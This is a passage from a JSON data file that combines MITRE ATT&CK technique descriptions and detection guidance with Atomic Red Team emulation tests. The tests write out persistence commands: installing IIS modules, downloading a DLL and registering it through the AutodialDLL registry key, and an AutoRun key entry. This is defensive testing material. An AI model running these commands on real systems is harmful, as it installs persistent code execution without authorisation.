- "description": "Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)\n\nOnce malicious forms have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Application Log: Application Log Content",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1157": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--aa8bfbc9-78dc-41a4-a03b-7453e0fdccda",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1157",
- "url": "https://attack.mitre.org/techniques/T1157"
- },
- {
- "external_id": "CAPEC-471",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/471.html"
- },
- {
- "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf",
- "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.",
- "source_name": "Writing Bad Malware for OSX"
- },
- {
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
- "source_name": "Malware Persistence on OS X"
- }
- ],
- "modified": "2021-03-30T00:51:57.919Z",
- "name": "Dylib Hijacking",
- "description": "macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)\n\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Objective-See's Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User"
- ],
- "x_mitre_effective_permissions": [
- "Administrator",
- "root"
- ]
- },
- "atomic_tests": []
- },
- "T1574": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
- "created": "2020-03-12T20:38:12.465Z",
- "x_mitre_version": "1.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574",
- "url": "https://attack.mitre.org/techniques/T1574"
- },
- {
- "source_name": "Autoruns for Windows",
- "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns",
- "description": "Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.\n\nThere are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.",
- "modified": "2022-05-05T04:07:01.191Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Hijack Execution Flow",
- "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.\n\nLook for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nMonitor for changes to environment variables, as well as the commands to implement these changes.\n\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\n\nService changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Service: Service Metadata",
- "Module: Module Load",
- "File: File Modification",
- "Process: Process Creation",
- "Windows Registry: Windows Registry Key Modification",
- "File: File Creation",
- "Command: Command Execution"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Application Control"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1078": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Azure AD",
- "Office 365",
- "SaaS",
- "IaaS",
- "Linux",
- "macOS",
- "Google Workspace",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Syed Ummar Farooqh, McAfee",
- "Prasad Somasamudram, McAfee",
- "Sekhar Sarukkai, McAfee ",
- "Jon Sternstein, Stern Security",
- "Yossi Weizman, Azure Defender Research Team",
- "Netskope",
- "Mark Wee",
- "Praetorian"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
- "created": "2017-05-31T21:31:00.645Z",
- "x_mitre_version": "2.4",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1078",
- "url": "https://attack.mitre.org/techniques/T1078"
- },
- {
- "source_name": "CISA MFA PrintNightmare",
- "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-074a",
- "description": "Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and \u201cPrintNightmare\u201d Vulnerability. Retrieved March 16, 2022."
- },
- {
- "source_name": "TechNet Credential Theft",
- "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx",
- "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016."
- },
- {
- "source_name": "TechNet Audit Policy",
- "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx",
- "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/560.html",
- "source_name": "capec",
- "external_id": "CAPEC-560"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nIn some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)",
- "modified": "2022-05-05T04:55:21.981Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Valid Accounts",
- "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "User Account: User Account Authentication",
- "Logon Session: Logon Session Creation",
- "Logon Session: Logon Session Metadata"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "x_mitre_effective_permissions": [
- "User",
- "Administrator"
- ],
- "x_mitre_defense_bypassed": [
- "Firewall",
- "Anti-virus",
- "Host Intrusion Prevention Systems",
- "Network Intrusion Detection System",
- "Application Control",
- "System Access Controls"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1505.004": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Wes Hurd"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--b46a801b-fd98-491c-a25a-bca25d6e3001",
- "type": "attack-pattern",
- "created": "2021-06-03T18:44:29.770Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1505.004",
- "url": "https://attack.mitre.org/techniques/T1505/004"
- },
- {
- "source_name": "Microsoft ISAPI Extension Overview 2017",
- "url": "https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525172(v=vs.90)",
- "description": "Microsoft. (2017, June 16). ISAPI Extension Overview. Retrieved June 3, 2021."
- },
- {
- "source_name": "Microsoft ISAPI Filter Overview 2017",
- "url": "https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms524610(v=vs.90)",
- "description": "Microsoft. (2017, June 16). ISAPI Filter Overview. Retrieved June 3, 2021."
- },
- {
- "source_name": "IIS Backdoor 2011",
- "url": "https://web.archive.org/web/20170106175935/http:/esec-lab.sogeti.com/posts/2011/02/02/iis-backdoor.html",
- "description": "Julien. (2011, February 2). IIS Backdoor. Retrieved June 3, 2021."
- },
- {
- "source_name": "Trustwave IIS Module 2013",
- "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-curious-case-of-the-malicious-iis-module/",
- "description": "Grunzweig, J. (2013, December 9). The Curious Case of the Malicious IIS Module. Retrieved June 3, 2021."
- },
- {
- "source_name": "Microsoft ISAPI Extension All Incoming 2017",
- "url": "https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525696(v=vs.90)",
- "description": "Microsoft. (2017, June 16). Intercepting All Incoming IIS Requests. Retrieved June 3, 2021."
- },
- {
- "source_name": "Dell TG-3390",
- "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
- "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
- },
- {
- "source_name": "MMPC ISAPI Filter 2012",
- "url": "https://web.archive.org/web/20140804175025/http:/blogs.technet.com/b/mmpc/archive/2012/10/03/malware-signed-with-the-adobe-code-signing-certificate.aspx",
- "description": "MMPC. (2012, October 3). Malware signed with the Adobe code signing certificate. Retrieved June 3, 2021."
- },
- {
- "source_name": "Microsoft IIS Modules Overview 2007",
- "url": "https://docs.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview",
- "description": "Microsoft. (2007, November 24). IIS Modules Overview. Retrieved June 17, 2021."
- },
- {
- "source_name": "ESET IIS Malware 2021",
- "url": "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf",
- "description": "Hromcov\u00e1, Z., Cherepanov, A. (2021). Anatomy of Native IIS Malware. Retrieved September 9, 2021."
- },
- {
- "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/",
- "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.",
- "source_name": "Unit 42 RGDoor Jan 2018"
- }
- ],
- "modified": "2021-10-17T15:06:24.161Z",
- "name": "IIS Components",
- "description": "Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: Get{Extension/Filter}Version
, Http{Extension/Filter}Proc
, and (optionally) Terminate{Extension/Filter}
. IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation: Trustwave IIS Module 2013)\n\nAdversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ISAPI extensions and filters may have access to all IIS web requests and responses. For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Extension All Incoming 2017)(Citation: Dell TG-3390)(Citation: Trustwave IIS Module 2013)(Citation: MMPC ISAPI Filter 2012)\n\nAdversaries may also install malicious IIS modules to observe and/or modify traffic. IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters. IIS modules can be written as a DLL that exports RegisterModule
, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Trustwave IIS Module 2013)(Citation: ESET IIS Malware 2021)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor for creation and/or modification of files (especially DLLs on webservers) that could be abused as malicious ISAPI extensions/filters or IIS modules. Changes to %windir%\\system32\\inetsrv\\config\\applicationhost.config
could indicate an IIS module installation.(Citation: Microsoft IIS Modules Overview 2007)(Citation: ESET IIS Malware 2021)\n\nMonitor execution and command-line arguments of AppCmd.exe
, which may be abused to install malicious IIS modules.(Citation: Microsoft IIS Modules Overview 2007)(Citation: Unit 42 RGDoor Jan 2018)(Citation: ESET IIS Malware 2021)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Creation",
- "File: File Modification",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ],
- "identifier": "T1505.004"
- },
- "atomic_tests": [
- {
- "name": "Install IIS Module using AppCmd.exe",
- "auto_generated_guid": "53adbdfa-8200-490c-871c-d3b1ab3324b2",
- "description": "The following Atomic will utilize AppCmd.exe to install a new IIS Module. IIS must be installed.\nThis atomic utilizes a DLL on disk, but to test further suspiciousness, compile and load [IIS-Raid](https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/).\nA successful execution will install a module into IIS using AppCmd.exe.\n[Managing and installing Modules Reference](https://learn.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview#to-install-a-module-using-appcmdexe)\n[IIS Modules](https://www.microsoft.com/en-us/security/blog/2022/12/12/iis-modules-the-evolution-of-web-shells-and-how-to-detect-them/)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "module_name": {
- "description": "The name of the IIS module",
- "type": "string",
- "default": "DefaultDocumentModule_Atomic"
- },
- "dll_path": {
- "description": "The path to the DLL to be loaded",
- "type": "path",
- "default": "%windir%\\system32\\inetsrv\\defdoc.dll"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "IIS must be installed in order to add a module to IIS.\n",
- "prereq_command": "$service = get-service w3svc -ErrorAction SilentlyContinue\nif($service){ Write-Host \"IIS installed on $env:computername\" } else { Write-Host \"IIS is not installed on $env:computername\" } \n",
- "get_prereq_command": "Install IIS to continue.\n"
- }
- ],
- "executor": {
- "command": "%windir%\\system32\\inetsrv\\appcmd.exe install module /name:#{module_name} /image:#{dll_path}\n",
- "cleanup_command": "%windir%\\system32\\inetsrv\\appcmd.exe uninstall module #{module_name}\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Install IIS Module using PowerShell Cmdlet New-WebGlobalModule",
- "auto_generated_guid": "cc3381fb-4bd0-405c-a8e4-6cacfac3b06c",
- "description": "The following Atomic will utilize PowerShell Cmdlet New-WebGlobalModule to install a new IIS Module. IIS must be installed.\nThis atomic utilizes a DLL on disk, but to test further suspiciousness, compile and load [IIS-Raid](https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/).\nA successful execution will install a module into IIS using New-WebGlobalModule.\n[Managing IIS Modules with PowerShell](https://learn.microsoft.com/en-us/powershell/module/webadministration/set-webglobalmodule?view=windowsserver2022-ps)\n[IIS Modules](https://www.microsoft.com/en-us/security/blog/2022/12/12/iis-modules-the-evolution-of-web-shells-and-how-to-detect-them/)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "module_name": {
- "description": "The name of the IIS module",
- "type": "string",
- "default": "DefaultDocumentModule_Atomic"
- },
- "dll_path": {
- "description": "The path to the DLL to be loaded",
- "type": "path",
- "default": "%windir%\\system32\\inetsrv\\defdoc.dll"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "IIS must be installed in order to add a module to IIS.\n",
- "prereq_command": "$service = get-service w3svc -ErrorAction SilentlyContinue\nif($service){ Write-Host \"IIS installed on $env:computername\" } else { Write-Host \"IIS is not installed on $env:computername\" } \n",
- "get_prereq_command": "Install IIS to continue.\n"
- }
- ],
- "executor": {
- "command": "New-WebGlobalModule -Name #{module_name} -Image #{dll_path}\n",
- "cleanup_command": "Remove-WebGlobalModule -Name #{module_name}\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1154": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1154",
- "url": "https://attack.mitre.org/techniques/T1154"
- },
- {
- "source_name": "Trap Manual",
- "url": "https://ss64.com/bash/trap.html",
- "description": "ss64. (n.d.). trap. Retrieved May 21, 2019."
- },
- {
- "source_name": "Cyberciti Trap Statements",
- "url": "https://bash.cyberciti.biz/guide/Trap_statement",
- "description": "Cyberciti. (2016, March 29). Trap statement. Retrieved May 21, 2019."
- }
- ],
- "modified": "2020-01-24T14:18:13.478Z",
- "name": "Trap",
- "description": "The trap
command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c
and ctrl+d
. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format trap 'command list' signals
where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1546": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db",
- "type": "attack-pattern",
- "created": "2020-01-22T21:04:23.285Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1546",
- "url": "https://attack.mitre.org/techniques/T1546"
- },
- {
- "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf",
- "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.",
- "source_name": "FireEye WMI 2015"
- },
- {
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
- "source_name": "Malware Persistence on OS X"
- },
- {
- "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/",
- "description": "Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018.",
- "source_name": "amnesia malware"
- }
- ],
- "modified": "2022-02-08T16:39:09.283Z",
- "name": "Event Triggered Execution",
- "description": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. \n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware)\n\nSince the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitoring for additions or modifications of mechanisms that could be used to trigger event-based execution, especially the addition of abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network. Also look for changes that do not line up with updates, patches, or other planned administrative activity. \n\nThese mechanisms may vary by OS, but are typically stored in central repositories that store configuration information such as the Windows Registry, Common Information Model (CIM), and/or specific named files, the last of which can be hashed and compared to known good values. \n\nMonitor for processes, API/System calls, and other common ways of manipulating these event repositories. \n\nTools such as Sysinternals Autoruns can be used to detect changes to execution triggers that could be attempts at persistence. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques. \n\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. ",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Windows Registry: Windows Registry Key Modification",
- "Process: Process Creation",
- "File: File Metadata",
- "File: File Modification",
- "File: File Creation",
- "Module: Module Load",
- "WMI: WMI Creation",
- "Command: Command Execution"
- ],
- "identifier": "T1546"
- },
- "atomic_tests": [
- {
- "name": "Persistence with Custom AutodialDLL",
- "auto_generated_guid": "aca9ae16-7425-4b6d-8c30-cad306fdbd5b",
- "description": "The DLL pointed to by the AutodialDLL registry key is loaded every time a process connects to the internet. Attackers can gain persistent code execution by setting this key to a DLL of their choice. \n\nThe sample dll provided, AltWinSock2DLL, will launch the notepad process. Starting and stopping a web browser such as MS Edge or Chrome should result in the dll executing.\n[Blog](https://www.mdsec.co.uk/2022/10/autodialdlling-your-way/)\n",
- "supported_platforms": [
- "windows"
- ],
- "dependencies": [
- {
- "description": "AltWinSock2DLL DLL must exist on disk at specified at PathToAtomicsFolder\\T1546\\bin\\AltWinSock2DLL.dll\n",
- "prereq_command": "if (Test-Path PathToAtomicsFolder\\T1546\\bin\\AltWinSock2DLL.dll) { exit 0} else { exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory \"PathToAtomicsFolder\\T1546\\bin\\\" -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546/bin/AltWinSock2DLL.dll\" -OutFile \"PathToAtomicsFolder\\T1546\\bin\\AltWinSock2DLL.dll\"\n"
- }
- ],
- "executor": {
- "command": "Set-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parameters -Name AutodialDLL -Value PathToAtomicsFolder\\T1546\\bin\\AltWinSock2DLL.dll\n",
- "cleanup_command": "Set-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parameters -Name AutodialDLL -Value $env:windir\\system32\\rasadhlp.dll",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "HKLM - Persistence using CommandProcessor AutoRun key (With Elevation)",
- "auto_generated_guid": "a574dafe-a903-4cce-9701-14040f4f3532",
- "description": "An adversary may abuse the CommandProcessor AutoRun registry key to persist. Every time cmd.exe is executed, the command defined in the AutoRun key also gets executed.\n[reference](https://devblogs.microsoft.com/oldnewthing/20071121-00/?p=24433)",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "command": {
- "description": "Command to Execute",
- "type": "string",
- "default": "notepad.exe"
- }
- },
- "executor": {
